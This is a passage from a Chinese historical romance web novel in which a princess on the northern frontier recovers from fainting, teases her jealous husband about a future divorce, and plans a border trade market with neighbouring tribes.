再抬眼时,神色已恢复正常,调侃道:“陆兄见到我好似很失望的样子,这是盼着什么人来呢?” “哪里,我只是没想到顾兄竟然会来北疆。”陆鸣竹心下有些失落,垂眸敛了心神,再讪笑着迎上前,未注意脚下微突的砖石,被绊了一跤,踉跄向前跌去,腰间垂挂的玉牌荷包在空中一荡。 顾春温眼疾手快扶了他一把,“哎,便是道歉也不必行如此大礼。” 陆鸣竹“哈”地一声笑了出来,短促笑过后,忙不迭地垂首检查腰间玉牌有无闪失,指尖珍而重地抚过玉牌上的刻字,方才舒了口气,放下心来。 “咦,这不是郡主的玉牌吗?”顾春温佯做出刚刚才看见玉牌的样子,看似不经意地开口揶揄,“怎么在你手上?世子殿下若瞧见了,怕是要吃飞醋了。” 轻触玉牌的手指微僵,藏不住心思的陆鸣竹瞪一眼顾春温,“顾兄可慎言吧,郡主将玉牌交予我,是有要事托付我的。更何况世子殿下……” 话音滞在喉间,几日未见了,他真不好断言世子殿下现在待郡主的心意有没有改变,毕竟郡主是那般好的人,朝夕相处间,对她生出些好感才是再自然不过的事吧。 若是分毫也没有,那世子当真是眼瞎了。 陆鸣竹这般想着,咬断了口中未尽的话音,反问道:“所以顾兄你怎么突然来北疆了?莫不是为了将即食汤饼纳入军需一事?” 但此事给秦王传个旨不就好了,怎么还劳动状元郎跑一趟。 他一面说着,一面领着顾春温穿过庭院。 顾春温轻笑颔首,此事倒也算是他此行顺带要做的一桩小事,但他偏不接着说,而是又问道:“郡主大婚也有些日子了,你可有计划何时回京?” 陆鸣竹此行,本就只是做个执礼官而已,待大婚礼成,他也应当择日回京了。鸾仪卫中的半数人亦是如此。 但直到今日 被顾春温提出之前,陆鸣竹和指挥使都未想起过这回事来。 陆鸣竹心情又沉郁了几分,但他是有正当滞留理由的,“郡主吩咐的事还未做完呢,怎么也要一个月、一两个月才行吧。” 离京前,陛下可是嘱咐他们万事都听郡主吩咐的,既然京中没有召回的旨意,再拖上两个月都是行的。 思及此,他忽然警觉地看向顾春温,顾兄该不会是带旨来传召的吧? “陛下谴我传一道旨意。” 陆鸣竹心下一凉。 “陛下允准郡主在北疆开通与北夷的互市,并命我等随侍。你与鸾仪卫怕是两个月后也回不了京了。”顾春温故意觑着陆鸣竹的神色,将一句话掰成了两半讲,果然见他神色跌宕起伏,瞬息便转了几道情绪,顿时心下又好笑又叹息。 陆兄看来当真是被绊住了脚,不想走了。 看着陆鸣竹,他心底不由冒出“同病相怜”四个字来。 听了这话,陆鸣竹阴霾顿消,展颜一笑,“哦,那真是太可惜了。” 然后才轻咦了一声,眼前一亮,“郡主要开互市?” 他心潮澎湃起来,这若办成了,那可是利好民生的大事,“事不宜迟,我们快些去找郡主详谈。” “哎,郡主现下不便。”顾春温将人拦下,见他一脸茫然,不由挑眉,“你还不知道?” 闭门好几日的陆鸣竹茫然摇头,待听得顾春温讲到郡主伤了脚不良于行,恨不能立即去王府探望,偏又不能去,还得带着顾春温逛北疆,只能兀自将满心的担忧,都化作对郡主的称赞,喋喋不休地讲着郡主来了北疆后的一应“壮举”,并翘首以盼第二日。 另一边的百里浔舟亦是不放心,忙完便从府衙直接回了王府。 时至日暮,他踏进院子,却见流萤和雾柳都在寝屋外站着。 “怎么不进去伺候?” 正垫着脚向屋内张望发愁的两人闻声吓了一跳,回身看见百里浔舟,如同看见救命稻草一般迎上去。 “世子殿下您可回来了,郡主睡了一整日,什么东西都没吃,您快去将她喊起来吧。” 百里浔舟:“……你们就放任她这么睡着?” 流萤着急:“郡主吩咐了,她若不醒,不准去唤,否则要生气的。” 郡主轻易不生气,也几乎从不责罚他们,但她们也不能仗着郡主宽厚,就不听她的吩咐呀。 百里浔舟:“……我去唤,她就不生气了?” 雾柳:“郡主虽说了不许旁人进去打扰,但世子殿下您可是郡主的夫君,您怎么能算是旁人呢!” 这话听在百里浔舟耳中,确实有几分受用。 雾柳再接再厉道:“郡主今日就晨起后用了几口粥,旁的什么也没吃,这般饿着肚子睡觉,哪里受得了呀。” 百里浔舟待不住了,抬脚便推门往屋里走。便是灾民还一日三碗稠粥呢,郡主若是只一清早吃了那么点东西,就算再困也早该饿醒了,这么久还没动静,别是生病了! 他疾步绕过屏风,撩开遮光的床幔往内一瞧,封眠歪着脑袋蹭在被褥上,昏暗光影下都能瞧得出脸色苍白,额头似有冷汗。 “郡主?郡主?封眠!”百里浔舟喊了几声也不见她醒,一手去探她的脉搏,微弱又缓慢。 这哪里是睡着了,分明是晕过去了! “快来人!” 一阵兵荒马乱之后,被喂了一碗甜水的封眠迷迷糊糊睁开眼时,便瞧见百里浔舟一张放大的臭脸,眼神阴沉沉的。 她吓得向后一缩,有些茫然。 “醒了?”百里浔舟黑着一张脸将手中盛着糖水的瓷碗搁到一旁。 封眠舔了舔唇,嘴巴里甜蜜蜜的滋味还萦绕着,便被百里浔舟瞧得有些发苦了,“我不过睡了一觉,你干嘛这么瞧着我?” 她目光悄悄往旁边溜了溜,便见屋内灯烛俨然。好吧,她一觉睡到天黑,可能是久了些。 视线再往上一抬,却瞧见流萤一张哭脸,和雾柳一张冷脸,又是吓了一跳。 “怎么了这是……?” 耳畔传来一声冷笑,百里浔舟像拨愣箭羽一样将她的脑袋拨正,冷然的眸子望入她眼中,咬牙道,“睡了一觉?你那是饿晕了!” 啊,糟糕…… 封眠抿抿唇,心虚地垂下眼,又被他勾着下巴一抬,被迫继续被他一双冷目盯着。 “你入睡时,腹中可觉饥饿?” 见封眠视线飘忽一瞬,百里浔舟便知道了答案,心下更气。 天晓得发现人晕过去时,他一颗心都快停跳了!她怎么还能睡得着? 偏偏瞧她初醒过来脸色苍白的模样,他除了摆出这幅冷冰冰的样子震慑一二,真是发不出火,只能接连质问:“做什么饿着自己?” “饿着肚子也不知道起来吃些东西?” “你怎么能睡得着呢?” 她倒是睡得安心,晕得干脆,真将人吓死了。 封眠眼睫颤了颤,也不答话,慢吞吞地屈起腿,抱住了肚子,飘忽的视线重新挪正,睁着湿漉漉的杏眼望着百里浔舟,开始示弱,“好饿啊……先吃点东西呗?” 百里浔舟:……—— 作者有话说:百里浔舟:先造谣我,还套路我[爆哭] 50-60 第51章 没有人能拒绝苍白虚弱的封眠可怜巴巴的请求,尤其在她主动示弱的时候。 流萤很快端来了一碗红枣山药羹,温热香甜,一口下肚甜嘴又暖胃。 封眠用了小半碗,颊侧总算没有那么苍白。 久未进食,雾柳也不许她再多吃,收了碗便硬邦邦道:“待睡前,郡主再用些杏仁茶垫垫。明早才可如常进食。” 封眠借着她收碗的动作,勾住她的小指晃了晃,带着些许讨好,“别生气了,我也不是故意饿晕自己的。” “奴婢没生气。”要说更多的情绪,实则是自责与懊恼,做奴婢有时当真不能太听话。 “你……昨日就开始不怎么吃东西了吧?”一旁的百里浔舟瞧她与婢女撒娇有趣,心下却也十分狐疑。他总觉得她是故意饿着自己的。但苦于实在没什么证据,况且他当真不知饿肚子对她有什么好处? “昨日那是真的没有胃口。”封眠毫不心虚地为自己的行为打补丁,“今日也是当真累了,我也不知怎么睡过去就没醒过来……” 她撒谎了,其实中间她几度饿得睡不着,只能哄着自己入睡,翻来覆去的,终于晕了过去。 以为是睡着了,没想到原来是晕过去了啊。 她垂眼拨了拨手指,还好还好,虽说是晕过去的,该做的梦还是做了,往后应当没什么需要她再饿肚子的事了。 只要度过眼前的难关即可。 “我……我当真有那么吵?”听她这般说,百里浔舟不自信地问道。 往日在军营中,他才是那个嫌弃众人呼声震天的人,今日竟轮到他自己被嫌弃了。大受打击的同时,更添了些扰了封眠清净的歉疚。 “倒也……”封眠这才想起来自己为了独自安睡,随口说来诓骗流萤与封眠的借口,如今被百里浔舟澄黑的眸子一盯,看着他备受打击的模样,心虚才后知后觉地漫上心头。 她忙摆摆手,“是我自己睡不着,跟你没关系。” 百里浔舟没答话,垂眸不知在想什么,半晌抬头时便说起了另一件事,“府衙已经派人逐户去按照户籍文书排查此前被拐的孩子们了。那群拐子被抓的消息传了出去,晌午后还有人主动上衙门报案,说自己就是被拐来的。” “折夫人也来了,说当日你作坊中那个姑娘毕竟是她介绍的牙婆买来的,她多少也要负些责任,这两日会派人帮着一起去排查。” “那个姑娘今日也来了,她叫……” “蔡小田。” “对,蔡小田让我代她向你道一句谢,谢谢你相信了她的话,抓住了那群恶人。” “我们也应谢谢她才对。若不是她鼓起勇气向我求助,这件事情还不知道要压到什么时候才能爆发。”封眠想了想,说道,“明日我派人去给她送些东西吧。” “勇敢的人,应当受到奖赏。” 闻言,百里浔舟略愣了一下,他竟没想到过,一个被辗转卖了几手的姑娘冲出来求助时,是需要极大勇气的。她并不能确定郡主会否相信她的话,也不能确 定郡主是否会帮助她。 尤其,她知道那伙人背后有大官撑腰,她更不知道看起来和善的郡主是否与那些人有权利纠葛。一站出来就意味着没有了后路,孤注一掷。 他的目光柔和下来,点了点头,“最迟三日之后,便可派人陆续将这些人护送回乡了。” “这么多年过去,也不知他们家乡如何变化。”封眠总是会多想一点点,若是他们回了家乡,却发现物是人非,已寻不到亲人踪迹,也未必会想留在家乡。 “若是回乡走过一遭,他们还想再回来,便也一并回来吧。” “回去的路费,护送衙役的赏银,都从我私库走吧。” “那怎么能成?” 百里浔舟正拒绝着,便见封眠杏眼一抬,不容置疑道:“我有钱。定北王府和云中郡府衙的那些银钱,本就捉襟见肘了吧?我可是带着厚厚的陪嫁过来的,云中郡赚钱的铺子近半数都是我的,此事你不许和我争。” “况且护送一路也是颇为受苦的,赏银到位了,才能让衙役们心甘情愿地做事。不然到时半路将人丢了折返回来,或是生了歹心想要霸占人家辛劳几年的全部家当,护送一事可就成了好心办坏事。” 虽说这些都是极差的情况,但封眠可不敢赌。人命只有一条,便是有银子也买不回来。 北疆的官府是当真不富裕,并未说要给那些衙役们额外的赏银,确实有那么一两个露出了不大高兴的神色。 但是…… “动用新妇陪嫁,这不好吧?” “你分明就很心动。”封眠微眯双眸,凑近了瞧他。 百里浔舟实在不大会遮掩神色,被她这般一盯,便忍不住笑了出来,锋锐的眉眼柔和起来。 “实话说,能帮百姓谋些实在的好处,便让人说我是靠夫人帮衬的软蛋又如何?” “你又不是那种恨不能将手直接塞进夫人兜里的混账,我这些钱拿出来也是做正事的,到时他们承的是“郡主”的情,又不是“世子妃”的情。若有人想嚼舌根……”封眠微扬下颌,“便让他们嚼去。” 封眠神色骄矜,眼底蕴着狡黠之色,瞧得百里浔舟亦是心头一烫,更说不出拒绝的话了。 待封眠用过杏仁茶,准备洗漱了,百里浔舟便准备走,“今晚我去睡书房,你好好休息。” “等等。”封眠反手将他的袖子拽住,瞪圆了眼,“你突然去睡书房,母亲肯定要担忧的。” “不让母亲知道就好了,总不能再吵你一夜。”百里浔舟根本没信封眠说他一点也不吵的话,她那般会说话、会给人留面子,定是哄他呢。他总也要有些自知之明才是。 封眠:…… 封眠更愧疚了,揪着袖子不撒手,“府中下人这么多,母亲怎么能不知道呢?下人们都知道了,云中郡的百姓也就知道了。说不定明日晨起,街头小巷便都是你我生了龃龉,争吵分居的传言了。” “哪有那么多……”百里浔舟刚想说哪有那么多人盯着他们两人看,就想起之前他的抗婚言辞就引起了全城百姓的关注和行动,紧接着又想起大婚后山衣说“府上就这么几个主子,不嚼您的嚼谁的?” 府上的下人和云中郡的百姓,确实是会盯着他们俩看啊。 百里浔舟略一踟蹰,封眠便将他往床边拽,“可别说什么去书房的话了,只要你回府上,就不许去住书房!” 她顿了顿,又补充道:“你真的不吵。” 封眠的力气只有丁点大,百里浔舟根本没做反抗就被摁在床边坐下了,便也干脆“认命”,再不提去睡书房的事。 只是晚上“吵”的人,却变成了封眠。 她睡了一整日,往床上一躺便精神得很,翻来覆去都寻不着睡意,忍不住就想与人说说话。 “你睡了吗?”她微微侧首,看向另一侧模糊的轮廓。 今夜屋内留了盏罩着厚厚灯罩的烛灯,屋内多了一线昏暗的光,恰好将百里浔舟侧颜的线条描摹出来。 他一动未动,闭着眼睛答话,“没有。” “那你陪我说说话吧。” “嗯。”百里浔舟应了一声,接着屋内就陷入了一片沉静。 半晌,他先开口道:“郡主想说什么?” 封眠思忖着措辞:“你看,互市这么重要的事,舅舅也同意交给我做了,他是不是很信任我?” 这是睡不着,想听夸赞声了? 百里浔舟:“郡主聪颖果敢,主动提出了互市一事,陛下想来也是认为郡主心中定有成算,相信郡主定能做好互市。” “从小到大,我想做的事,舅舅几乎都允了。” 只要不是特别调皮,特别有失县主身份的,封眠确实很少有什么事是不能做的。 “陛下很是疼爱郡主。”百里浔舟努力附和。 “是啊,所以舅舅爱屋及乌,定也会很疼爱你的。”封眠见引到正题上,赶紧将心中预设好的说辞一股脑倒了出来,“所以你日后若是有什么想要的东西就与我说,我和舅舅提,他一定都能允的!” 只要别造反,做什么都行。 封眠将自己目前总结的百里浔舟造返的缘由简单列了三点—— 第一,王爷去世; 第二,定北王王位未能世袭; 第三,有可疑人士从旁挑拨。 第一条已经暂时解决了,第二条问题也就不复存在,至于第三条,封眠已经“买通”了姚知远,也日日密切关注着百里浔舟的日常动向,目前还并没有接触过什么可疑的危险分子。 是以封眠现下有八成是安全的。 只是根据之前发生的事来看,她改变一些事情,另一些事情就会相应的发生变化,所以还是不能掉以轻心。 百里浔舟睁开了眼,莫名觉得被嘉裕帝疼爱有些瘆得慌,不自在地动了动身子。 封眠还当他是有事不好意思开口,自己思索了两秒,自认为找到了他纠结的症结,“我知道,你想要和离嘛。你放心,过几年等一切都安稳下来,我就去跟舅舅说。” “就说是我另外有了心上人,舍不得让他不明不白的做面首,想给他一个名分。然后再找些术师将他的命格也捏造得天花乱坠,舅舅应该也不会不同意的。” “怎么样?这下安心了吧?” 百里浔舟:…… 她怎么能连如何操作和离都已经想得八九不离十了? 他应该安心吗? 百里浔舟静了半晌,只觉得心头乱乱的,猛地扭头看向身侧。封眠恰好也在看他,乌黑的眼珠在夜色中亮亮的。 “你这般问我,心中是不是已经有人选了?”—— 作者有话说:百里浔舟:是谁啊[爆哭] 第52章 百里浔舟的话将封眠问懵了一瞬,支支吾吾了半晌没答出话来。 听见这嗯嗯唔唔的小动静,百里浔舟还当她是不好意思与自己说,心下仿佛盛着一汪池水,正咕嘟咕嘟地往外冒着酸气儿。 他强压着那一份异样的感觉,语调十分正常地说:“嗯,那你与我说一说,你喜欢什么样的男子?我可以帮你提前寻一寻。” “既然要用这个理由跟陛下提和离,还是有一个真心喜欢的人选才好,总不能委屈你。” 封眠一听,也是,干嘛要委屈自己呢? 她开始进行一些思考。 之前在盛京时,她也是私下搜罗了满盛京青年才俊的信息,进行过一番挑拣的,那时她筛选的几个条件有…… “嗯……我理想中的夫君应当是温润如玉……” 这词一出,百里浔舟的嘴角又往下撇了三分。 “温润”这个词儿从来就与他无关。至于“如玉”么,母亲曾评价他犟得像块石头,玉与石,似乎勉强也能有一分搭边儿。 接着又听封眠道:“不必多有才华,但一定要生得好看。” 百里浔舟的嘴角抿得平直。 他虽不想自夸,但打小时起,凡是见过他的叔娘婶伯们都夸他是个俊俏后生 ,想来也算得上符合这一条。 “不必多有钱,但家中人际关系要简单,最不能有的就是恶婆婆。” 她自己的钱都未必能花得完呢,所以并不强求要找一个金龟婿。 只是后一点是极为重要的,毕竟女子嫁人,皆是嫁入夫婿家中,与他的家人成为新的家人,若是家人不好相处,夫婿再好,也总是有些麻烦。 虽说她堂堂郡主,不高兴了大可带着夫婿回郡主府单过,但麻烦事么,能少一点便还是少一点。 百里浔舟的唇角微微弯了一弯。 他家中人口可是太简单了,母亲与她也十分合得来,这一条自是完美契合。 封眠又道:“还要有善心,行善举,无不良嗜好。最重要的是,不能处处拘着我。” 最后一条是封眠新加上的,往日在盛京时,舅舅时常拘着她,自打来了北疆,她身上的枷锁仿佛尽数被斩断了,行事都自由了许多。 人一旦体验过自由,哪还过得回从前那种处处拘礼的日子呢? 这也是封眠觉得北疆强过盛京的一点好处,不必因为成婚了便镇日里只能在后宅走动,一举一动都被外头的人评头论足。哪怕是姨母那般尊贵的身份,四处游历时有一两件桃色传闻传到盛京去了,都有几个老古板的御史要没事找事上书弹劾。 这句话却是让百里浔舟的嘴角向上翘起三分。 他知道自己的名声在外头并不是什么大善人,但爱护百姓、守家卫国,自然算得上行善事。 他从不去花楼赌场,除了偶尔陪父亲小酌,也算得上是滴酒不沾,嗯,没有什么不良嗜好。 至于拘着她?他连自己都不拘着,做什么拘着她? “大概就先这么多吧。”封眠有些词穷了,她心中没个具体的人,之前这些挑选的标准,大多也都是学其他闺秀的,再编不下去了,干脆抬眼看着百里浔舟,“你有什么合适的人选吗?” 百里浔舟一个激灵。 是啊,这是给她找心动的人选呢,他为何在这里对号入座? “你等我盘算一下。”他丢下一句话,便开始在心里对比。 温润如玉。 姚知远这个读书人勉强也能沾得上一点边,只是么……他颇为嫌弃地想,生得只能算是秀气,可没有他好看。 况且姚知远整日除了想着如何吃好喝好,脑子里哪有一点能装情爱的地方?定是配不上郡主的。 只是除了姚知远,北疆怕是再挑不出一个温润如玉的来了。 百里浔舟的思绪不自觉就飘到了从盛京来的读书人身上。 一开始先冒头的,是陆鸣竹。 被否决的也快,他听说这人运气不好,定是过不了嘉裕帝那一关的。 让百里浔舟潜意识里觉得有些威胁性,被压到最后才缓缓浮现的人选,便是顾春温。 他倒真是生得温润如玉,相貌也还不错,只是不知家中是何情况,跟自己比起来有什么优势没有? 百里浔舟越想心里便是越闷,他想着,近日天气真是越发热了,晚上应当开窗睡的,都感觉呼吸不到新鲜空气了。 他闷闷地开口:“你这要求……” 封眠反问:“我要求很高吗?” 百里浔舟道:“要求自然不高。你想要什么样的男子,那都是应当的。” “只是全天下能符合这些标准的男子不多罢了。” “这是他们的问题,不是你的问题。依我之见,你且慢慢再看,此事急不得的。” “我……也没这么着急。” 他急于结束这个话题,转而开始催封眠赶紧睡觉,“你昨夜本就没睡好,今天又睡了一整日,今晚再不好好睡,往后作息就不正常了。” “可是我睡不着呀。”封眠长叹口气,蓦地翻了个身,一手屈起压在脑袋下,“你给我讲个故事听吧。” 百里浔舟无奈:“我都没听过睡前故事,能给你讲什么呢?” “小时候太子哥哥哄我睡觉,会给我讲一些志怪故事,后来被舅舅训了,便开始讲《论语》,讲两句我便睡着了……” 《论语》助眠效果极好,但她现在也不想再听了,实在有些枯燥。 她眼睛一转,兴冲冲道:“你可以给我讲讲你行军打仗的那些故事啊。” 百里浔舟失笑:“睡前故事讲这些,太血腥了吧。” “你讲讲北疆三十六部嘛,马上要开互市了,自然还是要知己知彼。书本上写的那点东西,定然没有你这位小将军知道的多。” 被轻飘飘地夸上了这么一句,百里浔舟的唇角更是压不住了,将自己对北疆三十六部的认知与心得娓娓道来。 封眠听得津津有味,一开始还“嗯嗯”、“然后呢”、“哇怎么会这样”地捧场,过了半晌,便渐渐没了声音。 百里浔舟微微侧首,只见她闭上了眼,呼吸平稳,已然睡着了。他收了话音,不再继续说,微微半支起身探过去,将封眠压在脑袋下手轻轻拿了出来,免得她睡醒后,手被压麻了。 躺下后,他却因封眠之前的话有些睡不着了。 “你说她这是什么意思呢?”第二天,百里浔舟对着姚知远闷闷开口。 姚知远挑眉:“世子是何意?” “她分明从很早的时候就……就说有些喜欢我了。” 就在他护送她回云中郡的路上,荒郊野外,星河漫漫,她一双杏眸弯成了月牙,瞳仁闪着晶亮的光,说话时有些羞涩,说完便走了,还将手中的如意云纹银手炉留给了他。 当时他备受惊吓,惊恐万状,别捏了几日强行将此事抛诸脑后,直到近日不知怎么的,莫名其妙便浮现在脑海中,反复咀嚼。 百里浔舟有些垂头丧气的,素日里总是挺得笔直的脊梁弯了下去,像书堂中发现今日小考而自己一本书都没看的少年郎一样趴在了案几之上,“是我会错意了吗?可她之前那般待我……不喜欢我也能这样做吗?她那时莫不是故意哄我呢?” 姚知远恍惚觉得此情此景似曾相识,前几日在郡主的马车外头,世子也是这幅被雨浇了个湿透的死样子。 头疼,帮世子解决私人烦恼,也不知能不能给他多加几辆薪资。 “属下就一句话,重点并不是郡主殿下喜不喜欢你。” “而是世子殿下你的心思,世子若是铁了心地打着和离的主意,何必在意郡主是怎么想的呢?” 没忍住,他还是多了两句。 百里浔舟一愣,沉默了许久。他觉得此刻心头就像是塞了一团乱麻,剪不清理还乱。 真是当局者迷旁观者清,姚知远究竟还是体谅自家世子是个没沾过风月的愣头青,仗打得久了,挪到情情爱爱这种复杂的事情上来,未开窍的心思总是拐不过弯来,遂开口道:“世子不如冷静两天,理清思绪再说。” 待发现自己总是不自觉地想起郡主,总想知道她在做什么,再看见郡主和状元郎那般风采卓越的人走在一处,总也该开窍了吧? 此时云中郡的长街上,郡主的马车终于缓缓驶了出来。 封眠自觉不用再坐素舆,反正出行坐马车,也不用走几步路。 半路上,她接上了等在驿馆的顾春温,与他一同往府衙去借北疆的大舆图。 顾春温本应骑马的,但他面有难色地说不大方便,已遣了下人去套马车。 封眠便猜他怕是路上骑马骑久了,有些难以宣之于口的伤处,便干脆让他上了自己的马车同行,正好路上也可以多聊两句。 顾春温从善如流地上了马车,半点也没有什么不自在,仿佛与封眠相识许久那般,自然地聊开了。 “昨日陆兄带我逛了许久,北疆虽不如盛京繁华,但也别有风味。尤其是郡主那几家铺子,我瞧见来往的百姓们,没有一个不是笑容满面的。搭上一两句话,便要开始称赞郡主。” 他一双笑眼盈盈地望着封眠,如春风拂面,称赞之言到了他口中,丝毫不见谄媚浮夸,字句皆见真心,听得封眠也要有些不好意思了。 她正要说什么,忽听外头一阵忽远忽近的呼唤声:“世子妃殿下……世子妃……殿下……!” 她反应了半秒,才想起来这是在喊自己呢,忙叫停了马车,撩开帘子瞧是谁在追着马车跑。 一个有些眼熟的少年气喘吁吁地追了上来,从窗口递了支团团可爱的花进来,笑出一口白牙。 “谢谢世子妃殿下抓住了那些拐子。我知道金银俗物您都不缺,便摘了一朵北花送您,愿您常岁无忧!” 他说罢便跑开了,封眠有些奇怪,“他谢我做什么?” 流萤八卦兮兮地凑上来,“郡主不知道呢,他叫阿好,他与蔡小田两人……这么说吧,我替您去传话时见过他陪着蔡小田,还不住安慰她呢!” 封眠明白了,他这是谢她帮了他的心上人呢。 不过…… “蔡小田马上要回家乡去了,他们二人……” “蔡小田家中只剩一位年迈的祖母了,阿好与家人都说好了,他打算陪蔡小田一同回去,最好能说服祖母一道来北疆。若是蔡家祖母不同意,他便留下,一起为蔡家祖母颐养天年。” “真看不出,他倒是有担当。” 封眠不认得他送自己的是什么花,香味却是清新,想了想,便摘下一枚簪子,将那朵花插在了发髻上,展示给流萤和物流看,“好看吗?” 一旁保持安静的顾春温在心下默默道:好看—— 作者有话说:百里浔舟:你不许看[愤怒] 第53章 府衙内,陆鸣竹早已翘首盼着了。他趁着等待的时间,已经凭郡主的令牌借到了舆图,正喜滋滋地迎向马车,准备邀功,却见顾春温跟着封眠一道下了马车。 他有些怔然,顾兄怎么郡主一起来了? 昨日分明说的是来府衙集合呀? 迎着同窗兼同僚错愕的目光,顾春温十分泰然自若,自然地说出自己等马车时正巧遇着了郡主,便厚颜搭了回车。 “陆兄可是恼我没有同你一起了?” 陆鸣竹忙摆手,这么点小事,哪里至于。 他心思轻,转瞬便忘了,看向封眠,边领路边道:“郡守为郡主备下了一间议事的书房,舆图已送去了。” 除此以外,他还惦记着议事耗心耗力耗时,头次在这陌生的府衙指使起了下人们,备上些茶点果子。 他没敢自己上手,生怕这食物经了他的手,一入口再闹出些腹泻的毛病来。 顾春温也跟着道:“我也对北疆盛产的风物略作了些研究,大体可以分做禁止交易物资、限制交易物资与鼓励交易物资三种。北夷与大雍敌对几十年来,第一次开互市,还需得有个官府定价。” 封眠提裙边走边道:“一会儿坐下来慢慢聊吧。昨天我也问了百里浔舟一些关于北疆三十六部的事,正好待会儿给你们好好说一说,一起参谋参谋。这第一场互市应该选择哪些部族。” 圈定可交易的物资范围比较简单,诸如铁器、兵器等物品定然是明确禁止交易的,其次便是茶砖、药材和盐这些物资,在限制的范围内进行交易。 至于丝绸瓷器等工艺品便是鼓励交易的物品,只是北疆内流通的丝绸和瓷器也不多。 封眠觉得自己作为发起者自然也要积极地参与互市,所以将名下铺子中的物资尽数拨了三分之一出来做互市上的商品,期待能从北夷手中换来更多矫健的战马。 但在互市地点的挑选上,众人一时都有些犯难。 为了让参与互市的北夷部族安心,互市地点自然需得在交攘边地,但边地的百姓几乎都被北夷劫掠过,心中自有短时间内难以消弭的仇恨。 要让他们去跟北夷做生意,怕是非常的不容易。 “北夷三十六部中,有五个部族从未劫掠过边民。这次互市我想可以先从他们入手。”封眠指尖轻点舆图,声音沉静。 仇恨是难以化解的,他们自然不能摁着边民的头,去跟有血海深仇的北夷人做交易。在互市之初,他们绝不能成了那柄背刺向大雍百姓的利刃。 尽管在边民眼中,北夷三十六部可能并没有什么不同,都是面目凶恶的仇人。但封眠相信。只要知晓这些人手中没有沾染过自己同胞的鲜血,百姓们是会愿意迈出第一步的。 至于之后,最朴素的生存之需,总能穿透仇恨的坚冰。 这互市开的不仅仅只是货物往来之路,更是要开一条维系安康,通向和平的路。他们需要做的,不是强行弥合血仇,而是筑起一道坚固的篱墙,将刀兵厮杀的恩怨阻隔在外,只容许物与物的交换存在。 时长日久,边民再看见北夷的骏马时,便不会只有恐惧与仇恨。北夷人捧着中原的热茶,用着中原的草药时,心间也会更向往安定平和的生活。 “除了他们,还有一个部族也很重要。”顾春温轻声道,“北夷苍狼部。” “是那个擅长骑射的轻骑兵部落?我听说他们的族人都来去如风,偶有劫掠的行径,但没伤过人。”陆鸣竹在脑海中翻出关于苍狼部的信息。 顾春温颔首:“苍狼部现在是阿尔纳部竭力拉拢的一个部族。他们族人人数略少,但都非常团结,战力强悍。若能将他们拢住,北夷便少了一大战力。” 封眠知道阿尔纳部,那是北夷目前最强大的部族。永昌十七年,就是阿尔纳部纠结北夷部族的人马杀穿了大雍,逼得昭武帝南下。 在被第一任定北王将其驱逐出北疆后,这么多年来依然持续不懈地试图重新攻入北疆。 阿尔纳部要抢的部族,大雍必然要先将其握在手心才可安心。 整整三日,封眠都清早去府衙,深夜才回王府,王妃很是担心她将自己累坏了,早起备晨羹,深夜送参汤,完全遗忘了另一个连王府都没回的人。 这都三天了,世子到底在等什么消息? 急递铺的士卒跪在地上,壮着胆子抬眼去瞧上座的百里浔舟,再一次道:“这几日属下都睁着眼睛等着呢,确实没有给殿下的信啊。” “一张字条都没有?”百里浔舟黑沉着脸。 “一个字都没有!”士卒急得都破音了,被百里浔舟怒瞪一眼,忙缩回了脖子。 姚知远看不过眼,挥手让人离开,“行了,你先下去吧。” “多谢军师!”士卒如蒙大赦,脚底抹油地溜了。 姚知远瞥一眼兀自冷脸的百里浔舟,压平了瞧好戏的唇角,明知故问道:“殿下这是等着谁传信来呢?” 百里浔舟从鼻腔里发出一声轻哼,不想答话。 “世子不是都派轻衣去瞧过了,郡主这几日都与顾大人和陆大人在忙碌互市的事情。” 思及此,姚知远便忍不住咋舌,轻衣一身轻身功夫惊艳绝伦,听力极佳,往日都是被派去探北夷情报的,如今都被世子殿下派去打听郡主的踪迹了,世子殿下竟还没反应过来自己的心思吗? 他有心想提点两句:“既已知晓郡主的行迹,何必还要等郡主的字条呢?” 那字条上左不过也是将一日的行踪简略带过几句而已。世子哪里是想见字条了,分明是想见人了。 可以前只要他人在军营,字条便日日都有,如今一连三日只言片语都…… 百里浔舟微眯起双眸,自从那位姓顾的状元郎来了北疆,这字条便没有了。 他嚯地起身,姚知远目光追随着他的动作,“世子这是要做什么去?” “在北疆开互市,本世子怎么能不到场?” 百里浔舟气势汹汹推开书房的门,还没开口,便被封眠明显带着喜悦的目光扑了一脸。 “你来啦!我正准备去找你呢!”封眠欢欢喜喜地迎上来。 百里浔舟连日来日渐鼓起的那点莫名地气闷尽数散了,心里打好的质问的腹稿也丢了个干净,乖乖地跟着她到桌前坐下。 “找我做什么?” “我想从疾羽营中借些人。”她专注地望着百里浔舟,将心中所想娓娓道来,“一来是为了震慑北夷部族,安定民心,做“巡市官军”,监管集市秩序。二来这准备办互市一事,也需要请人去与那几个部族说上一声。” “我思来想去,也还是疾羽营的将士比较合适。只是不知近日营内人手可方便?” 百里浔舟略一思忖,点了点头,“自然没问题。我给顾大人拨五百精兵,可够了?” 顾春温:“足矣。多谢世子殿下。” “互市地点可定了?”百里浔舟只瞧了他一眼,便又将目光挪到了封眠身上。 她今日妆扮得很是素净,俏生生像枝头新生的小花苞。 “我打算去黑石沟。” 百里浔舟略一扬眉,听她继续说道:“黑石沟恰好处在北夷与大雍的接壤处,又遭了灾害,庄稼十不存一,百姓流散,应是没什么人会反对在设立集市。” “若能增设贸易集市,也能助理当地的民生恢复。流散的百姓便是失了庄稼,也总能借着市集重谋生计。无论是运货、摆摊,还是为商旅提供食宿,总能得一线生机。” “郡主考虑万全,我等都觉得可行。”顾春温跟着附和一句,陆鸣竹连连点头。 “如此也好,那阿央他们岂不是也可以回家了?”百里浔舟想起此刻还住在城外的阿央等人,问道。 “是啊,我正想着去见过你以后,再去城外将此事与他们说了。现下你过来了,倒省了我一桩事。” 封眠说着起身,桌上的其他三人也跟着一并起身,大有同去之意。 百里浔舟瞟一眼对面两人,抢先开口,“我陪你同去,自打他们安置好,我也还没去看过呢。” “顾大人和陆大人就不必相送了,互市的章程还需你们细细写下一份才好,留步吧。” “也是呢,多誊抄几分,回头去联络那几个部族时,一并带去。”一般北夷部族中都会培养人特意学大雍文字,封眠并不担心他们会看不懂。 顾春温和陆鸣竹被一道命令钉在了原地,只能眼睁睁看着百里浔舟将封眠领走。 两人对视一眼,一个笑容不变唯有双目微沉,一个眉眼间聚起一点丧气,动作一致地坐下,磨墨,提笔,写文书。 城外支着一个小摊子,黑石沟的百姓们有条不紊地排着一条长队。 队伍最前头,村长袖口挽起,腕间搭着一只素手,他紧张兮兮地问:“柳大夫,咋样了啊?” 